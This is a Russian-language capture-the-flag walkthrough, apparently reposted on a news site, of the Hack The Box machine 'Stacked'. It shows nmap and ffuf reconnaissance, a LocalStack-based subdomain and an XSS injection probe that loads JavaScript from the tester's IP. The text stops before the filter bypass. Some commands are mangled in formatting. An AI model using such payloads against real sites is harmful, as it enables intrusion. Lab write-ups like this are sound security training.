Категория > Новости > HTB Stacked. Разбираемся с LocalStack и AWS - «Новости»

HTB Stacked. Разбираемся с LocalStack и AWS - «Новости»


26-03-2022, 00:03. Автор: Флорентина
Hack The Box. Ее уро­вень слож­ности заяв­лен как «безум­ный» (Insane), но мы спра­вим­ся, вот уви­дишь!

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем IP-адрес машины в /etc/hosts:


10.10.11.112 stacked.htb

И запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:



  • 22 — служ­ба OpenSSH 8.2p1;

  • 80 — веб‑сер­вер Apache 2.4.41;

  • 2376 — порт для безопас­ного дос­тупа к Docker.


Пер­вым делом идем смот­реть веб. Там нас встре­чает прос­тень­кая стра­нич­ка, на которой идет отсчет вре­мени. Поле вво­да, судя по все­му, не выпол­няет никаких опе­раций, а лишь переб­расыва­ет на index.html.


Глав­ная стра­ница сай­та stacked.htb 

Сканирование веб-контента


Да­вай поищем на сай­те скры­тые ресур­сы.



Справка: сканирование веба c ffuf


Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.


Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:




  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);


  • -t — количес­тво потоков;


  • -u — URL;


  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.


За­пус­каем ска­ниро­вание:


ffuf -uhttp://stacked.htb/FUZZ -t 256 -wfiles_interesting.txt -mc200,204,301,302,307,401,405
HTB Stacked. Разбираемся с LocalStack и AWS - «Новости»
Ре­зуль­тат ска­ниро­вания фай­лов с помощью ffuf

Мы не наш­ли ничего инте­рес­ного. Пов­торим ска­ниро­вание в надеж­де обна­ружить скры­тые катало­ги.


ffuf -uhttp://stacked.htb/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt -mc200,204,301,302,307,401,405
Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

То­же ничего. Но закан­чивать ска­ниро­вание рано, ведь еще мож­но переб­рать под­домены. Это дол­жно при­вес­ти нас к новым сай­там на том же сер­вере. Для это­го будем переби­рать вир­туаль­ный хост в HTTP-заголов­ке Host:


ffuf -uhttp://stacked.htb -t 256 -wsubdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -mc 200
Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И это дает резуль­тат — нам дос­тупен еще один сайт. Добав­ляем запись в файл /etc/hosts и идем смот­реть стра­ницу.


10.10.11.112 stacked.htb portfolio.stacked.htb
Глав­ная стра­ница сай­та portfolio.stacked.htb

На сай­те ска­зано про исполь­зование тех­нологии Docker LocalStack для ими­тации сер­висов AWS. Для под­клю­чения нам дают ска­чать файл docker-compose.yml.


Со­дер­жимое фай­ла docker-compose.yml

Чуть ниже видим фор­му, через которую мож­но отпра­вить сооб­щение. Так как нам при­ходит уве­дом­ление, зна­чит, это оче­вид­ное мес­то для поис­ка XSS-уяз­вимос­ти.


Уве­дом­ление об отправ­ке сооб­щения

Поп­робу­ем отпра­вить прос­той код, который дол­жен заг­рузить JS-файл с нашего сер­вера:


<script src="http://10.10.14.93/test.js">script>

В ответ получа­ем сооб­щение о детек­те XSS.


Уве­дом­ление о детек­те XSS 

Точка входа


 

XSS


Нам пред­сто­ит прор­вать­ся сквозь филь­тр XSS, а для это­го пер­вым делом выяс­ним, где он работа­ет — на сер­вере или пря­мо в нашем бра­узе­ре. Это мож­но сде­лать, испра­вив зна­чение полей при перех­вате зап­роса в Burp, одна­ко мы получим тот же ответ о детек­те. Зна­чит, про­вер­ка идет на сер­вере.



Перейти обратно к новости